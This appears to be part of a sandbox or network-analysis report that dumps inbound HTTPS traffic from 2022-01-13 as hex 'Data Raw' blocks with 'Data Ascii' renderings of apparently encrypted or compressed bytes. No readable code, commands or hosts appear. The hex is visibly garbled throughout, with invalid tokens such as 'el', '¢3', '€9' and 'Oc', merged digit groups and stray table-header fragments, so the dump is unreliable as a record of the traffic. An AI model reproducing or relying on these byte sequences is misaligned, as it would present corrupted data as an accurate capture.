2022-01-13 19:22:46 UTC 701 IN Data Raw: 3¢ 30 7b 1c 08 b5 1e 28 el e0 a6 68 2e 96 67 c6 7b 8¢ b7 bd 55 15 88 df ed e7 6e 7b 0 85 07 d5 f2 34 88 db
57 d2 63 5d 69 5e 3f 9b e5 32 0a bb b3 61 2f d9 51 ce dc c9 22 e4 a0 12 54 22 a3 8f 4b 73 2b 31 6¢ 5e b7 c7 ae db 73 b3
98d9 34 b2 16 e0 15 e7 57 e5 82 08 68 4f b7 0a ed c1 36 5d 9d 04 39 51 53 a4 da bf 7e 1e 80 4e e0 e3 e6 4c ff 50 de 89
el4b el f79b a5 15 1b bl da ee al 72 1a dc 21 74 a2 2f ac 40 d5 45 2c f7 34 96 1b b6 83 a7 54 86 0f 79 94 cd f6 02 ac f6
36 96 48 d5 8d 3d cf 71 f5 8f f4 12 48 7f 7b b7 d6 69 49 a7 fb fb de 02 30 61 ed 76 4e 67 3a 1a f2 28 b7 84 53 f5 32 82 b5
f1 52 e0 e4 2a 56 18 92 92 5¢ Oc 1b 2c a2 09 29 80 70 2e b4 a9 13 ¢3 45 af 70 82 04 3 92 1a f1 Of cf d9 c7 45 16 2a 26
8b 40 9a 23 bb f3 69 ed e0 62 df 44 ae ef be 4e 4c
Data Ascii: <0{(h.g{Un{4Wc]ir?2a/Q"T"Ks+11"s4WhO6]9QS~NLPK!t/@E,4Ty6H=qH{il0avNg:(S2R*V\,)p.EpE*&@#ibDNL

2022-01-13 19:22:46 UTC 705 IN Data Raw: ad 8d 56 8a d1 ea fc 09 87 0f 99 eb 98 a3 d4 82 6e 6b 8e 63 2f c4 30 88 39 17 70 70 81 77 25 5e 8b 5d 24 b2
91 9c b9 7f 47 fa a2 26 ab 42 71 83 e6 14 da 64 Oe 7e 86 d1 eb 41 67 77 23 81 0d 06 03 46 3b 88 ec 37 36 36 fd 2d 34 50
67 6e e3 ef ae 5e 23 74 el a7 96 1a 7 cb 39 c0 91 7f 34 d5 fa 1f 2e 30 6e Oe aa bb a7 f2 Oe 92 b8 de 33 35 17 64 98 1d
e9 6e 73 65 81 ac be 96 59 9b 26 92 78 7 9d 82 9b 6e 84 41 10 6b c8 f1 85 34 03 dc b4 72 c¢5 b3 65 21 14 7d 2b d6 52 11
be 41 58 d3 c0 Oc b4 0b 9d 8d b9 00 c6 1a 73 8c 2d 17 d3 c7 c7 9a ed f7 27 f7 43 da 90 e6 98 49 25 da 7e af b6 cO db cb
0af3 0327 c3b957 3a4b 975163 11 fa 04 aa f5f3 14 ed f6 86 59 37 3f €9 37 1a e2 a0 07 46 44 5b 63 bc 1a 69 9c 8e
d3 d2 2d 49 02 89 3d 20 44 9f 07 90 bf ae 03 19 d4 05 b3
Data Ascii: Vnkc/09ppw%"|$G&Bqd~Agw#F;766-4Pgn~#t94.0n35dnseY&xnAk4re!}+RAXs-'CI%~"W:KQcY7?7FD[ci-I= D

2022-01-13 19:22:46 UTC 709 IN Data Raw: b0 1d 7d a0 b5 63 a2 7c 4a f5 f1 f6 3d 12 e5 fc 44 Ob 9a bb 8¢ 03 66 19 43 fa dc 7d f6 21 1d 20 e5 86 18 32 13
ec da 17 11 06 a3 b7 4b 3d 8a c4 8a Oc d6 61 6d 64 e7 97 17 1f 63 39 b7 d6 7e a0 b4 42 83 8d 24 fe 62 56 6b fb ac c7 a9
f9 50 bb 20 05 4c 51 78 d2 04 e8 e2 c5 26 aa ff 99 04 72 da bf d6 70 de 3a 8f f6 2c 8a 29 a7 12 09 a0 c5 b3 Oc c4 37 54 46
2b a3 1f 5e 25 ¢9 20 85 3d 19 6d €9 d1 fO c2 al 03 d6 a0 05 94 3f c3 47 8d €9 42 8d 47 1e fd 4f d7 db d9 53 f4 73 ab d7
dd bb 8d 8b 19 6f 6f 71 29 ae d8 fb 7c 95 3¢ 00 47 49 c1 74 d3 7b 52 67 b8 2f 50 c4 46 f9 88 2c a7 06 73 50 af cd 4e 2e 90
3c 1e 1579 29 1d 26 f4 35 07 74 de €0 5b 5d cb 97 el 40 8e 6¢ be 08 25 52 c¢7 85 cd 46 2a 09 00 c6 d7 4d f2 1d 9 e8 bl
4af7 7d 37 €2 57 87 Ob f8 a9 d8 8d €0 17 3b ca
Data Ascii: }c[J=DfC}! 2K=amdc9~B$bVkP LQx&rp:,)7TF+"% =m?GBGOSs00q)|<GIt{Rg/PF,sPN.<y)&5t[|@1%RF*MJI}7W;

2022-01-13 19:22:46 UTC 713 IN Data Raw: a5 03 13 28 4f 2b 27 75 cd 87 8b 54 2c ¢8 94 2c 11 de 53 1d 8e 0d 48 52 af 06 df 6f 5d bd d1 2a bb 8c 5d a7 33
6192 27 9a 80 21 30 a3 d7 67 Ob 55 16 c1 11 12 74 dc db 3f c8 ad 94 32 06 4b a4 76 72 62 85 7a d8 30 bb 06 3b d9 4 ff
222e 6902 ae 17 a5 84 f5 al b2 c6 2d a3 c3 a0 83 34 1b ec f8 76 f2 11 70 c¢3 dd 97 5b 95 15 2d 3d 0d 61 88 d1 a5 30 6c
d0 7f 28 11 45 e7 Oc dc e3 1b 7c b8 53 68 71 65 a6 f1 bb b5 c1 3b 8a 67 83 17 f2 a3 1d al 73 a4 dd d8 Oe 23 8c f8 89 fc
4b e7 11 be 2b e2 40 b7 98 be ad 4c e4 51 f1 e9 8e 63 67 78 6d 6f b9 04 d8 73 ac 05 c8 57 63 bf 37 f7 03 2b 98 4e c2 84
4c bb 9a0d 75 5c a9 16 b2 96 22 f0 ac 1a Oe 86 0d ef 53 11 1c de 66 11 7a 7a de a8 71 bf aa bd 4b 94 72 ea 8f 0a 3d f9
35¢3 23330 b4 439 c9 7a 53 f6 c9 ab 6b 1e ed bd
Data Ascii: (O+'uT,,SHRo]*|3a'l0gUt?2Kvrbz0;".i-4vp[-=a0l(E|Shqe;gs#K+@LQcgxmosWc7+NLu\"SfzzqKr=5#0CzSk

2022-01-13 19:22:46 UTC 717 IN Data Raw: 39 c4 38 1e 05 97 42 df b0 40 6¢ 73 31 a6 3c d8 d6 88 5¢ ed 60 fd 77 f1 d2 5d 8b 5d 65 e7 61 33 df 52 be e4 eb
41 67 69 76 46 18 4a 5d 72 33 d9 f1 Oc 8e a9 Oe c4 86 €8 b7 b7 66 3e 5f 43 79 le 5¢ 38 f2 93 df 84 b3 00 3c d1 ff f8 cd 92
ff 26 63 de d1 e5 4b a0 fd 45 24 62 be db 00 67 03 02 e3 38 2a 54 79 de 9c 7e ae 5a a4 c2 5d 84 bc b0 88 3a bd 69 3d bl
1b 69 Oa 79 88 b3 0f 49 3f 39 bb 8f 5¢c al ce 49 01 3c fc fb 06 6a €3 58 42 e3 b8 fd 93 84 a9 cO Ob 50 33 32 8f 51 cd 2d al
6d dd 1a e8 2a 63 92 ac 65 77 a8 31 a7 43 6a 3f f7 99 15 a5 84 79 93 53 7c fe a2 7f 7f 4c f4 51 e9 43 bl 9c d8 fa 3f a2 79
19 33 9c ea d2 64 e1 40 03 51 bb 5c aa fc e4 Ob c2 05 df e0 af 48 Of 9b 3d 4f 7c bf 4a 36 bb 6a 5a 51 6e e5 2d c4 08 73 23
d5 76 21 51 89 6a ff da 17 35 96 11 f6 40
Data Ascii: 98B@Is1<\'w]]ea3RAgivFJ]r3f>_Cy\8<&cKE$bg8*Ty~Z]:i=iyl?9\I<jXBP32Q-m*cew1Cj?yS|LQC?y3d@Q
\H=0|J6jZQn-s#v!Qj5@

2022-01-13 19:22:46 UTC 722 IN Data Raw: a0 34 cb cd 7c 09 Oe 13 9d bc ed 07 11 b5 b8 40 07 36 08 64 8¢ 63 af b5 f9 98 00 63 1f 92 af 06 7d 2d e0 7c fa
ab d0 e4 5e 2d 3f 62 b7 a0 65 84 75 6¢ d4 f0 84 32 db 39 03 e2 5f 2e 6e d0 c8 9f 13 04 00 44 95 cb b7 df 7d bd b0 50 00
8a 9c Oc be ce 3e 2 ae 5a 49 d6 ae 49 ba 9e 37 c¢1 69 1e cb 8592 18 ce 77 Ob 51 9e 3a 43 74 a7 Oe fe 92 a4 1d 53 aa 0f
af ba bl 3c 31 4f 7c 92 1a d8 7b 6c al 8e 50 bb 96 fe d8 ef 81 28 c0 el 67 80 96 03 4a 27 el 35 42 1f 2e 04 41 d4 77 70
56 44 30 42 a8 b7 99 ad 76 eb 20 8e 80 8f {7 92 4a fb 2b 28 1c 6f 4f 8c 05 da e8 4c cf 09 af 42 97 76 d5 83 4e 53 78 b1 08
8e ce d3 8237 97 61 25 Oc a7 e5 17 6e b4 19 b5 32 88 87 94 00 08 dc 90 97 7b cb 68 55 87 dd 8e e7 85 28 60 e3 2 6c¢ fd
03 26 8f 61 7d bb d0 8b e4 f5 77 7d e7 21 3b de el
Data Ascii: 4|@6dcc}-|*-?beul29_.nD}P>Z117iwQ:CtS<10[{IP(gJ'5B.AwpVDOBYV J+(00OLBVNSx7a%n2{hU( I&a}w}!;

2022-01-13 19:22:46 UTC 726 IN Data Raw: a0 f9 5f 89 5b 82 cf 81 41 4b ce 03 d2 0a 46 30 e6 56 16 ab 6a 61 be 3e 09 c9 55 96 5¢ 01 Oa 4c ¢8 11 dd e3
16 aa 20 9c 79 c6 ae db 65 5 a6 e5 7b ca b7 4f 1f 1e 2a f7 73 d4 4d a0 a2 fc f6 ba 20 9c el e8 75 d9 d0 06 61 8c 8e 90 aa
d2 31 66 4d a0 ca 16 64 74 90 97 c2 24 47 b4 1a 90 4e 25 de 62 al 7d 20 9f 90 97 e2 6d 09 ca eb c1 5b 80 47 b4 36 ee chb
98 00 59 19 2e 7d cd 02 5d 1e 9b 9b Oe 27 0f 95 03 76 5¢ a7 68 de 62 2d 7a 1e 9b 7b c9 e5 d2 01 da 8e 92 6b e5 5f 8a 21
01 ae d9 88 a5 69 d0 34 db 15 16 99 ba 04 42 86 a2 9d 71 d8 74 58 18 bb b4 d7 f6 94 9d 51 a9 56 17 e4 50 e0 69 24 86
7a 47 65 f6 5e 09 2a f4 48 36 1d 19 a7 68 €0 69 79 c5 38 d5 25 Ob 90 97 b0 dc ce 01 96 85 7c 4b e6 54 7c¢ 4b d7 f5 52 2¢
83 3b 2a f4 b2 c3 a6 e6 49 b8 dd e0 40 c4 14 a5 5¢ 02 68
Data Ascii: _[AKFOVja>U\L ye{O*sM ualfMdt$GN%b} m[G6Y.}]'V\hb-z{k_!i4BqtXQVPi$zGe *H6hiy8%|KT|KR,;*I@\h

2022-01-13 19:22:46 UTC 730 IN Data Raw: 27 f9 33 99 06 fd 24 ¢5 a7 8 52 b9 ba 83 31 2b 7c 10 b0 8f 1f 7e 44 bd bl 51 al b2 c8 d3 81 e4 5b Oe bd 2b
7d 71 d8 39 5¢ 58 10 €9 d6 08 43 57 92 b6 c2 eb c9 50 20 4c 29 85 37 df ec d9 f1 65 fe e7 de 27 07 ae d0 7f 38 c6 27 32
ee b5 40 45 b8 6¢ 6f a8 e4 58 12 a0 f2 9f 70 7a 4e 1c 9e c4 2d a0 fd c6 29 9b 08 ad 50 d0 03 5a 18 3f 44 66 7e f1 ca 52 2a
ac d2 7c 4d 85 38 Of 3f d7 f0 90 92 7c 4e a5 61 23 01 8b 2f 74 5b 0d 37 11 3e cd 9c 26 8e 6b e7 97 04 22 81 3d 5d b8 ce
de 62 f4 b5 c8 12 2a f4 10 ba 8a a8 59 9c bd bb d2 08 32 e7 a5 64 7c 4b be 3d 48 36 fd 29 54 13 1f 1d 2d 7b 07 c7 53 af
81 35 bf bf 58 1a 70 50 d3 8b df €5 5¢ 03 57 98 Oc b2 5¢ 03 49 b9 20 9e 59 9d d5 8f b5 48 8c ae 6f ed 88 a5 20 9e aa d0
51 ab 3¢ dc 61 8e b0 dd d2 39 66 48 13 12 8f 94 af 6b
Data Ascii: '3$R1+|~DQ[+}qO\XCWP L)7e'8'2@EloXpzN-)PZ?Df~R¥|M8?|Na#/t[7>&K"=]b*Y 2d|K=H6) T-{S5XpP\W\I YHo
Q<adfHk

2022-01-13 19:22:46 UTC 734 IN Data Raw: 4b fa €3 b7 2b 47 85 Oe 87 6b 90 c5 f3 6e 37 20 c2 74 1d 5¢ 41 11 5b b1 70 60 59 ¢8 51 dd bd eb 85 7a 04 19
4989 17 laal 38 87 76 19 70 12 df b9 e0 2d 3f 01 83 5¢ 33 59 ad 67 b5 0a 1b 56 77 83 6b a0 be 7e 16 ce 30 d2 39 12 ec
17 70 02 23 50 75 8¢ f0 12 dc 3d 00 2e b9 e8 08 2e cd ae €9 89 7b 91 6f b8 8b 72 16 cf b2 f2 80 83 73 94 c0 7c 1f 61 cd
dd b4 95 5d c4 4a 6e 2f 39 14 ¢3 97 36 df b0 9e aa 8c fd 74 37 61 be Oc f6 9 89 65 a4 bf d0 34 db cd cb dd b8 8d 57 c4
45 80 83 Oa 3f 1a d1 db ae 9b 4b fd 74 68 4e 14 94 ee Oe f7 68 3c 98 cb ¢5 9c c1 93 2d 27 52 79 da 78 42 96 d1 d8 34 be
67 cc 52 78 3a 8d 53 f0 17 59 ca 42 a8 dc 4f 97 77 97 73 9f 2d 00 0d 70 01 8f 56 65 a0 af 39 66 49 89 6e 3e ba 6¢ 24 c2
79 b2 95 57 fa 91 29 42 bb fe df ac 80 c8 4d 7 7b b7 1la
Data Ascii: K+Gkn7 t\A[p'YQzI8vp-?\3YgVwk~09p#Pu=..{ors|a]dn/96t7ae4WE?KthNh<-'RyxB4gRx:SYBOws-pVe9f
In>1$yW)BM{

2022-01-13 19:22:46 UTC 738 IN Data Raw: 17 4a Ob 20 ae 85 Oe €8 69 a2 ce 44 fe f4 84 e3 de 10 8b 3b 6a 21 31 20 ae 85 Oe f2 80 e2 5¢ 55 a4 b6 fb 57
a8 fc 96 c6 le cf b2 86 90 d3 bb f6 88 f8 8d 4f 97 75 eb dO 34 bf 8f 4a Ob 61 be 2c ¢9 d6 42 89 17 7f 01 89 17 79 f4 c5 9c
el da 27 3e 90 a6 a5 55 ¢3 97 59 ad 15 16 ¢8 23 15 16 ec 72 01 ea 3d 6f dd d1 b6 fb 7d fc f9 Of 60 3c 98 b8 8f 24 de 53
ed f4 e7 e7 94 af Oe 87 57 a8 b9 81 69 dO 5d b6 bd 8a 98 b8 c8 23 a3 51 9b 3f 1d 28 af 6b bc 08 0d 04 11 0d 76 6d b6 fb
63 c3 e5e3 bl 70 23 35 7d fc e2 5¢ 55 a4 bc 08 0a 7e 10 8b 69 d0 57 a8 b5 78 3c ec 72 64 45 80 e6 65 aa e0 39 66 07 {7
72 64 2b 47 e4 61 ce 30 bf 8f 4b 8e el da 4b 8e b4 6 c4 1a al 4c 20 ae ab 62 75 eb c0 11 34 db fd 18 a9 5e 08 79 f5 06
75 €8 47 85 0e 87 7c 7a 10 8b 75 eb b9 81 60 3c 80 83
Data Ascii: J iD;j!1 \UWOu4Ja,By'>UY#r=0} <$SWil#Q?(kvmcp#5)\U~iWx<rdEe9frd+GaOKKL budryuG|zu'<
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:46 UTC 742 IN Data Raw: 04 Oa cc d4 8d f3 f1 02 c7 Oc 22 4c bd 21 e7 18 62 b6 04 8f f2 57 57 57 61 77 10 74 a4 1f d3 44 32 1a 5e c7 6¢
9a 42 05 66 c5 27 cl 4b 0f 35 a2 0f d8 0a 81 9c 33 07 08 5 fd 4c ef 52 ff c7 5f Oe 5e c7 5f 6a 8¢ 73 19 fb f0 99 ¢5 75 02 85
f1 2c 18 4c 72 15 67 bd 8a 66 b6 04 3d 6f dd d1 74 4357 ea 91 9d 6 47 7a 93 c4 ea 91 f6 6a b9 7e a0 28 2b b8 20 4c fa
6e a9 ad 90 59 5f 54 d5 40 89 95 9f b7 ¢3 77 18 62 8d ec dO cb 2e 4b 48 f8 71 16 67 33 89 c6 el 25 f9 cc d4 c2 de 98 47
7a bb 4b 71 1d fc 45 7f fe 05 6f 16 67 8e 27 1e 55 eb 23 07 08 04 9e 91 d6 37 8b 5e c¢7 0d e4 b6 04 cc f6 77 10 59 73 0d
fb f1 1d 7 f4 63 24 50 e6 aa 2f 9f 2a aa 8f 4b 8e 5d 49 76 24 b7 7d fc 26 aa f6 ab 9d e8 c5 55 5b 44 09 00 97 da a4 26 43
91 ¢7 55 5b 5f 4a fd e7 1f d4 c6 el 25 c3 68
Data Ascii: "LIbWWWawtD2MNBf'K53LR_”_jsu,Lrgf=0tCWGzj~(+ LnY_T@wb.KHqg3%GzKgEog'U#7 wYsc$P/*K]IvE}&U
[D&CU[_J%h

2022-01-13 19:22:46 UTC 745 IN Data Raw: 2e 32 29 d7 Of f6 77 6b 10 74 97 43 bc f7 f4 1d f8 70 9f f6 69 2c 36 2d bc f4 7b 04 8¢ 62 be d9 1d fd 29 20 cc 49
89 17 la al 4c 10 8b 1b 23 35 5d b6 fb 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 f7 Ob 00 68
06 75 eb f0 e5 e3 de 53 68 ¢5 17 91 d6 bb 7f fe 65 32 23 ca d8 a9 b1 8f db 25 d2 c6 el 3e 15 €9 13 cc 5 f9 fO ac 32 29 bd
59 7e 80 7c c3 29 a6 28 01 26 43 83 b4 3a 17 5 58 e6 9a 42 43 b0 12 70 d6 8e 5d 49 3a 24 48 f8 3c 20 51 64 eb 3¢ 13
ed 5f 76 92 54 8b d7 3b 95 95 fe 65 38 40 39 99 c5 3d a3 ae 16 06 b9 7e 80 1f e0 a7 a6 4e d8 b9 7e ea a5 aa 1f a8 19 e0
a7 2c 09 04 8f ab a9 a2 31 a2 38 12 70 96 42 Oc 7d 0a 88 63 3c 1a 57 5e e2 f4 2¢ 61 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa
91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91
Data Ascii: .2)wktCpi,6-{b) IL#5]$}2B)B)BhuShe2#%>2)Y~|)(&C:XBCp]l:$H< Qd<_vT;e8@9=~N~,18pB}c<W",a}2
B)B)B)B)B

2022-01-13 19:22:46 UTC 749 IN Data Raw: €6 9a 58 cf 57 57 4e f2 66 b6 1c 41 9f b7 94 46 ea 91 9b 8d 92 €3 b3 19 72 64 ba fb ec 72 64 45 80 bc 08 79 f4
322 a4 e5 1c 27 bf 3c 13 d9 03 11 f2 47 42 05 Oc 42 3a 17 €5 59 17 e5 1c 13 a7 a6 28 70 d0 cb 56 8c 34 24 48 c0 d6 bd
7514 6e a4 2c 1b €9 13 ed 74 e8 a5 aa 8b 76 f2 7f 78 f2 33 a6 bc 65 58 d5 79 32 0f f6 77 1f d3 44 01 18 62 be €0 b4 09
04 bf 40 0a 81 c9 69 2f af a7 95 cd 51 57 64 ba fb df 19 e0 a7 95 fe 65 38 28 Oc 7d 03 7d 6f 1b dc e9 81 65 38 1d b8 cf 4d
6d 6a 1f d3 44 4d df 2a 29 fc d9 37 ad b2 a7 a6 64 ad 3b 95 82 5f 45 7f b1 a8 23 ca 97 ee 88 6a 84 6¢ bd 75 0Of ed 10 74
8d c5 79 Ob e6 83 ec 8d c7 47 62 be bd 3b db 85 63 ae 84 8c 61 41 87 13 12 8f 24 f2 80 83 0a c6 3a cc 1e 55 26 3e 5e c7
72 b0 1e 55 69 1f da b5 b2 39 9f b7 b8 39 9f b7 bd
Data Ascii: XWWNfAFrdrdEy2'<GBB:Y (pV4$Hun,tvx3eXy2wDb@i/QWde8(}}oe8Mm|DM*)7d;_E#jlutyGb;caA$:U&>"rUi99

2022-01-13 19:22:46 UTC 765 IN Data Raw: fa 91 29 df 9b 3f 73 7a 86 90 a6 65 4b 8e a2 52 f7 Ob 00 f4 54 22 b3 cc e3 de 53 03 2e cd ae 75 4b 8e a2 76 a5
55 a4 4f 05 f3 02 fO Oc 82 87 ab aa e0 58 b6 8a 99 3a 74 3b 6a 52 a4 b3 74 68 d2 74 68 4e 88 95 32 d6 fb 43 7c 7a ed 16
98 b8 64 a5 55 a4 6a 06 75 eb 6b 72 64 45 1b 6f dd d1 04 fc 96 b4 6d 9c c1 93 b6 d3 bb 86 29 02 6¢ 57 32 Oe 87 13 88 91
2942 43 60 3c ec eb 4d 92 ab fb 63 ¢3 97 84 4c 10 8b 83 f7 0b 00 fO ¢3 97 36 67 30 d2 39 fe 2a c5 9c 59 1 fd 18 2f dc 4f
97 ae al 4c 10 13 22 b3 74 da c6 le aa 78 58 2a c5 0b fO 7b f8 3f ff 1c a6 40 26 bc 08 ee cb a9 5e 80 5f ba 04 e7 52 1d 28
57 80 83 0a c6 ca 27 3e 66 68 4e 14 01 5a 2f 50 ab a2 ce 30 47 2d 4b 8e 37 15 16 98 00 b8 ff 1c 33 37 61 be 99 6a 52 1d
9a 3154 22 26 8e a2 ce a5 75 eb f0 c3 03 ee 77
Data Ascii: )?szeKRT"S.uKvUOX:t;jRththN2C|zdUjukrdEom)IW2)BC <McL6g09*Y/OL"txX*{?@&" R(W'>fhNZ/POG-K
737ajR1T"&uUwW

2022-01-13 19:22:46 UTC 777 IN Data Raw: 54 f0 48 c4 91 65 c7 a0 cf 22 a6 28 d0 42 71 aa 3e 7a 3e ea 85 39 ed bc 08 79 ¢8 19 22 3e b9 al a0 49 c1 c4
Oa5a5b 38 ac ed d0 68 c7 €8 a5 99 6 44 32 1a 62 69 14 17 52 e2 a3 bc 33 b1 75 9f 81 80 cb a9 5e Oc ff 11 86 d8 6e b7
fe d2 f5 caeb 3c 20 62 8d ec be cO dd 1d e4 ad ab ae 25 f9 52 3d ab el 92 6a d9 09 6f d2 f9 0f 09 fe a2 4f 5e Ob 01 61 f6
62 ca 6f fd f4 07 bf da 0a b2 3e 3d a3 9d 8f e8 a5 99 6 44 32 1a 6d 15 d5 e2 7c be 8f 6¢ c7 5f 45 7e 07 1f 2c c9 a5 5d Of
e3 55 ec 52 f1 7e 37 34 9b f3 ce fc 5a e3 12 43 bf d2 19 db 4e 5c a3 ae 16 63 26 54 2a 4e ¢5 17 52 1c 2d 03 04 fb 5b 91
c5 1f 64 10 cb 65 Ob cc e7 2b 8b d8 56 e2 df 9d 4b aa bc 83 46 27 2a 4e 58 db bf 5¢ 08 34 c0 95 77 10 74 98 b8 64 c8 6e
ab 62 a3 d0 75 8d 35 2e 1e 91 64 45 80 83 1a 84 90
Data Ascii: THe"(Bg>z>9y">IZ[8hD2biR3u”n< b%R=joO"abo>=D2m||_E~,JUR~74ZCN\c&T*NR-[de+VKF*NX\4wtdnbu
5.dE

2022-01-13 19:22:46 UTC 793 IN Data Raw: 8b 53 bf ab 16 13 5e 10 af 17 91 65 e7 ¢3 d3 c4 15 e5 3a 63 8b c1 97 26 b3 af 68 06 6f 36 34 a9 91 12 c¢7 79 7f
49 99 fa 12 ¢7 ae 9c f1 ¢4 56 27 75 66 01 28 c3 df d1 56 e7 af a8 57 e0 70 35 d6 Oa 41 Ob df ee 3f 73 €6 20 c6 0Ob ff d2 b2
ba 04 70 24 4e 01 15 e8 e2 19 d2 b2 ba f2 b3 31 54 22 b3 e6 el d5 40 70 28 1b 10 8b 1b 66 fa 84 73 28 4b c6 17 6e ad e2
14 90 49 48 4f bf f2 ab 2a f5 7b 73 ae e9 ec 37 94 ba fb d9 43 34 29 c9 ed 1d a3 19 2f bc 8b 53 ¢8 62 17 5b e6 7d d8 32 5f
290 82 eb 79 bc 00 4¢ 4c 99 72 a8 10 47 49 45 4c dc 8c c1 a3 95 b1 38 ac c1 e7 6¢ 1f 6¢ 73 ba 8f 6¢ 57 a8 99 b9 94 50
d2 b2 ba 0d 70 bb 03 a6 d7 c4 5¢c b2 e7 18 52 96 fc 9f 3c 13 97 7e b5 7c 05 fc 65 e7 ¢3 d3 ab 6d f1 d9 8c 17 52 d4 3e b9
al 68 0a 7 43 bc 3b 73 95 fa aa a8 d8 ae 28 88
Data Ascii: S"e:c&ho64yIV'uf(VWp5A?s p$N1T " @p(fs(KnIHO*{s7C4)/Sb[}2_yLLrGIEL8IIsSIWPp\R<~|emR>hC;s(

2022-01-13 19:22:46 UTC 809 IN Data Raw: 8f 20 ed 33 59 ad 67 17 9f 47 86 6e d8 07 e6 19 1b 58 13 12 8f a3 1c b3 8b d0 bf c7 a9 2a 05 76 25 3a 8 d3
10 8e 29 0a 7e 7f 86 f2 95 cd 65 4c 58 23 41 b8 7a 3e f1 fd a2 6e 5e b3 3c ec 72 e3 a9 4b 71 29 c9 ed f4 84 88 95 8a d8
46 03 ee a7 7d 68 c5 d4 2a b1l b0 68 06 75 eb 4a c0 14 1f 64 3d 2c 40 bd 4d 19 57 ab 89 17 1a 26 1f 39 99 32 a2 Oe 02 24
b7 7d 47 9b 32 63 8b 1b 23 4a 14 7c 3a 93 a4 9b 17 61 37 2d 77 84 05 cb c2 9c 85 Oe 87 13 9a 3e 78 39 16 bc 4c 9b 77 ef
9 0f 89 94 26 f4 b4 b4 7b bc 08 79 f4 1c 82 03 65 8f 04 33 d0 7c 7a 76 6d 49 ad €3 55 ec 3a a3 dc 07 ef ba 8d 10 e8 e0
14 46 30 d2 39 e3 77 fa 6e 4b cd 27 76 aa 6b 9d 40 80 bb bf €9 €9 98 78 f4 cc 2b 47 85 be 28 44 75 a3 59 ee fe 65 f4 44
01 ea 6e e7 40 f0 ba Ob f0 7f 7a ff 2f d9 8c 9e c5 9c cO
Data Ascii: 3YgGnX*v%:)~eLX#Az>n"<rKq)Fth*huJd=,@MW&92$}G:c#J|:a7-w>x9Lw&{ye3|zvmIU:FOIwnK'vk@x+G(D
uYeDn@z/

2022-01-13 19:22:46 UTC 825 IN Data Raw: f1 f5 06 75 ea 6a 66 6d b8 8b 7a 12 e6 4b 8e a2 ce 30 d2 39 66 49 89 17 la al 4c 13 12 8f 24 a3 50 la al 4c
1083 0a 7e 7f 15 24 93 4c 64 24 d3 d2 17 1a al 4c 10 8b 1b 23 35 5d b6 fb 13 12 8f 24 b7 7d fc 97 35 5d b6 fb 15 16 98
b1 30 d2 39 66 49 fa e2 3e df d5 bf 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 43 7f 01 ea 6e 59 ad 67 cc 1b 23 35 5d
d7 b0 8c fa bf 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 90 a5 55 a4 d3 ba 04 70 78 al 4c 10 8b 6f a5 30 a6 f9
0f 0a 7e 7f 01 e2 5¢ 33 5b ed f4 84 e7 89 62 29 36 b9 81 06 75 eb fO 73 e6 65 c6 1a al 4c 10 ee la cO 7f 69 dO 34 db cd
ae e9 ec 72 64 45 80 83 0a 7e 1a ca 46 65 c6 79 f4 84 73 18 9d 43 7e 9b 3f 73 6 00 04 19 79 da 4a 08 79 f4 84 84 8¢ e
c0 25 Oc a6 b6 8f 45 e4 08 57 a8 df d5 bf 8f 2c c9
Data Ascii: ujfmzK09fIL$PL~$Ld$L#5]$}5]09f>$}2B)CnY g#5]$}2B)BUpxLo0~\3[b)6useLidrdE~FeysC~?syJy%EW,

2022-01-13 19:22:46 UTC 841 IN Data Raw: 36 df d5 bf 8f d4 3d 6f dd d1 b6 fb 13 12 8f 24 b7 7d fc 96 b4 f6 db cd af 6b d5 bf 8f 24 b7 7d 13 12 8f 24 b7 7d
fc 96 59 fd 18 9c c1 93 2d 4b 8e a2 ce dd d1 b6 fb 13 12 8f 24 5f €9 ec 73 €6 65 c7 a0 ca 27 3e 14 94 af 6b d5 bf 8f 24 09
ab 62 40 f5 06 75 eb fO 7b f8 33 59 ad 67 cc 2b 47 85 a4 d3 bb 86 90 a6 d7 c4 1a al 4c 10 8b 1b 23 35 5d e2 5¢ 32 d6 42
fa 91 29 42 fa 7e 7f 01 ea 6e 5b b1 70 88 Oa 2f 51 68 4e 10 8b 1b 23 35 5d b6 fb fb 13 12 8f 24 b7 7d fc 70 34 db cc 2b 47
85 0e 87 13 12 69 d0 34 db cd ae €9 ec e8 38 e4 60 3c ec 72 64 45 80 83 90 a6 d7 c4 1a al 4c 10 02 f3 53 9e 36 df d1 b6
fb 13 12 8f 24 b7 f4 84 8¢ 9e c5 9c c1 93 ac b4 f6 89 17 1a al 4c 10 8b 1b a2 ce 30 d2 39 66 49 89 67 cc 2b 47 85 Oe 87
13 12 8f 24 b7 7d fc 96 b4 f6 dd d1 b7 7d fc
Data Ascii: 6=0$}k$}$}Y-K$_se'>k$b@u{3Yg+GL#5]\2B)B~n[p/QhN#5]$}p4+Gi48 <rdELS6$L09fIg+G$}}
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:46 UTC 857 IN Data Raw: 89 16 98 b8 ff c4 1a a3 51 9b 3e 1f 2d 4a Ob 05 f1 Oe cc c3 2d 40 6 ee 02 6f e0 01 9f 1f 75 9e 92 f2 be 5a 75 bl

b6 al 15 65 7c e5 d3 e1 92 17 5b e9 ed d5 bc 08 79 f4 84 e5 2b 66 09 f9 06 75 eb fO 7b fb 13 7a 58 46 62 2f 22 d6 36 bl
19 1f 2c cb a9 36 f1 9f 21 5d d2 4d el da 4a 09 fb 7b d6 31 31 24 ce 44 89 17 1a a3 51 f3 2c a0 ba 65 a2 bd eb 92 c6 71
81 05 f3 03 ee 14 ba 70 09 83 6f b3 1b 57 c9 a5 55 c1 7 7e 13 71 8c 7 24 c3 5 80 ae dd e7 90 8b 6¢ 30 bc 61 d3 94 db
a4 b4 db fe ec 5f 8e 94 d8 6b a2 a9 30 bb eb df b6 89 64 6a 24 d2 5d c5 ef 96 c6 7d d3 81 46 03 8b 7f 74 04 13 7c 13 3d
5d 85 79 93 43 15 7b d5 8b 2d 3c c1 a7 6f 82 b1 48 7f 2e f9 39 Ob 64 31 79 9a d4 5¢ 5b d2 55 cb c6 6a 7f 75 98 d7 ac ca
55 cl e7 94 ce 5d d5 dc 28 ef 8f 41 1c d5 cc 44 8¢

